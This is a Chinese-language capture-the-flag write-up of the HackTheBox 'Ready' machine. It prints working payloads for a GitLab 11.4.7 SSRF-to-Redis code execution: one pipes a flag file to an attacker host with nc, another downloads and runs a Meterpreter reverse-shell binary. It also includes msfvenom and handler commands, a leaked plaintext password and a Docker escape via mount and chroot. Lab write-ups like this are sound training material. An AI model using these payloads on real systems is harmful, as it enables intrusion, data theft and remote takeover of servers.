HTB-Ready
概述
这个盒子是比较典型的Linux web应用场景，另外还涉及到docker容器逃逸。user flag获取比较直接，通过GitLab的SSRF漏洞直接干穿到主机。root的获取需要一定的技巧，考察linux主机上信息搜集的能力，还有就是docker容器逃逸，总体来讲还是非常经典的。
信息收集
nmap
image-20201226162132465.png
从扫描结果看，目标服务器是Unbutu主机，上面跑着GitLab，另外尝试用Dirbuster爆破目录没有发现可利用的点
用浏览器访问目标的5080端口，查看Help页的时候看到GitLab的版本是11.4.7，这里通过google直接搜索Gitlab的RCE漏洞很快找到了可利用的点，这是一个SSRF漏洞，作者还贴心的配了视频。
image-20201226162411413.png
根据视频中的讲解，在New project > Import project > Repo by URL 这里存在SSRF问题，根据文章的描述，payload如下：
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| cat /home/dude/user.txt | nc 10.10.14.68 1234\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf.git
先在本地起监听nc -lvp 1234，使用BurpSuite拦截一个请求，修改请求内容，这里要注意project name和project path不能重复，否则服务端会返回报错并且代码不会得到执行，所以每次请求完以后要改一下这两个地方；
将上述payload替换到project_import_url后面，如下图所示
image-20201226163053932.png
落脚点
虽然现在我们已经通过GitLab的SSRF漏洞获取到flag但是在进一步收集信息之前还是有必要获取一个稳定的shell，笔者也尝试了几种reverse shell注入的姿势，奈何都没有成功。这里我们采用meterpreter获取shell
- 生成木马：
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.68 LPORT=4444 -f elf > payload.elf
- 把payload.elf放到kali的apache2目录下
/var/www/html/tools准备让目标机器下载 - 在kali上面开启msfconsole执行监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 10.10.14.68
set lport 4444
run
- 重新构造SSRF的payload，用burpsuit发出去，让目标机器用wget下载木马，改个名字，加上权限然后执行连接
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| wget http://10.10.14.68/tools/payload.elf; mv payload.elf git; chmod 777 git; ./git; ls -l | nc 10.10.14.68 1234\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf.git
metasploit获取到shell，如下图：
image-20201230192506216.png
提权
拿到shell以后，上传linpeas.sh收集信息，从收集到的信息里看到几个包含password的文件在/opt/backup目录下，其中有一串明文口令gitlab_rails['smtp_password'] = 'wW59U!ZKMbG9+*#h'，先记录一下。
通过大佬的提示得知，user shell是在一个容器里面，要获取root还必须逃逸到容器外面
可以通过查看PID=1的进程判断当前是否是在容器了，但是这种判断方式也不是100%准确，具体来说
在linux下面，PID=1的进程是init或者systemd；而在容器下查看ls -l /proc/1/exe 指向的一般是其他的应用进程
image-20201230212546613.png
尝试用su切换到root，提示su: must be run from a terminal，尝试用python获取一个完整的shell，发现环境变量里面没有python，经过一番查找发现python装到了其他位置，于是用如下命令获取shell
/opt/gitlab/embedded/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
拿到shell以后su到root，提示输入口令，这时把前面收集到的口令拿来尝试一番，发现root口令
image-20201230192344337.png
拿到容器的root以后，尝试逃逸到宿主机，payload如下：
s=$(cat /proc/cmdline)
uuid=$(echo ${s#*root=} | cut -d " " -f 1)
echo $uuid
mkdir /tmp/charlesliu
mount $uuid /tmp/charlesliu
chroot /tmp/charlesliu
image-20201230192204635.png
拿到root
